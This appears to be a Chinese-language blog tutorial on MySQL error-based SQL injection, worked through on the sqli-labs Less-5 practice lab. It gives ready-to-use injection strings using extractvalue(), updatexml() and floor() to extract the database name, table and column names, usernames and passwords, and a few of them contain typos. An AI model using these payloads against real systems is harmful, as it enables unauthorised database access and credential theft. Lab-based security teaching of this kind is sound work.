sql注入之报错注入

1.1 报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

1.2 报错注入靶场

http://192.168.1.24/sqli-labs/Less-5/

1.3 报错注入的函数

  1. extractvalue():这个函数是MySQL中用于对XML文档数据进行查询的XPath函数。当它的第二个参数不是一个合法的XPath表达式时,会引发错误,并可能返回包含攻击者所需信息的错误消息。

  2. updatexml():这也是MySQL的一个XML函数,用于改变(查找并替换)XML文档中符合条件的节点的值。当Xpath定位非法时,会引发错误,从而可能泄露数据库信息。

  3. floor():floor()函数是MySQL中用来取整的函数。在报错注入中,攻击者可能会构造特定的SQL语句,利用floor()函数的特性来触发错误,并从中获取数据库信息。

1.4 寻找注入点

发现没有了用户和ID的回显,只有"You are ing..",查看有无报错回显,找到闭合方式

有报错的回显。然后判断字段数

1.5 用order by判断字段数

复制代码
?id=1' order by 1,2,3--+
?id=1' order by 1,2,3,4--+

输入4的时候会报错,那就得到字段数为3

1.6 用union select 寻找注入点

复制代码
?id=1'  union select 1,2,3--+
?id=1'  union select 1,2,3,4--+

输入到3爆you are in

输入到4的时候报错

得到注入点在3

1.7 用extractvalue()函数爆数据库。

用extractvalue函数进行报错注入。

复制代码
爆破数据库
?id=1' or/and extractvalue(1,concat(0x7e,database()/(select database()),0x7e))--+

得到数据库名security

1.8 爆数据表

复制代码
爆破数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)fro information_schema.tables where table_schema=database()),0x7e))--+

得到名为emails,referers,uagents,users的四个表

1.9 爆users表中的字段

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e))--+

得到名为user_id,first_name,last_name,us,的字段

1.10 爆字段值

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e))--+
?id=1' or extractvalue(1,concat(0x3e,(select group_concat(password) from
users),0x3e),1)--+

1.11 用updatexml()函数进行报错注入

复制代码
爆破数据库
?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+
复制代码
爆破数据库表
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e),1)--+
复制代码
爆破字段
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e),1)--+
复制代码
爆破数据内容
?id=1' or updatexml(1,concat(0x7e,(select password from users limit
0,1),0x7e),1)--+

1.12.通floor()函数进行报错注入,前提需要知道有多少字段数

复制代码
爆破数据库
?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x
from information_schema.tables group by x--+
复制代码
爆破数据库表
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破字段
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破数据库内容
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
相关推荐
l1x1n05 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
guanyue.space10 小时前
网站可疑问题
web安全
小小工匠11 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
鲨鱼辣椒丶D13 小时前
「漏洞复现」用友U8 CRM config/fillbacksettingedit.php SQL注入漏洞
web安全
火红的小辣椒1 天前
XSS基础
android·web安全
Z3r4y1 天前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
小镇航海家1 天前
红日靶场1学习笔记
网络·笔记·学习·web安全·渗透测试
你怎么睡得着的!2 天前
【web安全】——XSS漏洞
安全·web安全·xss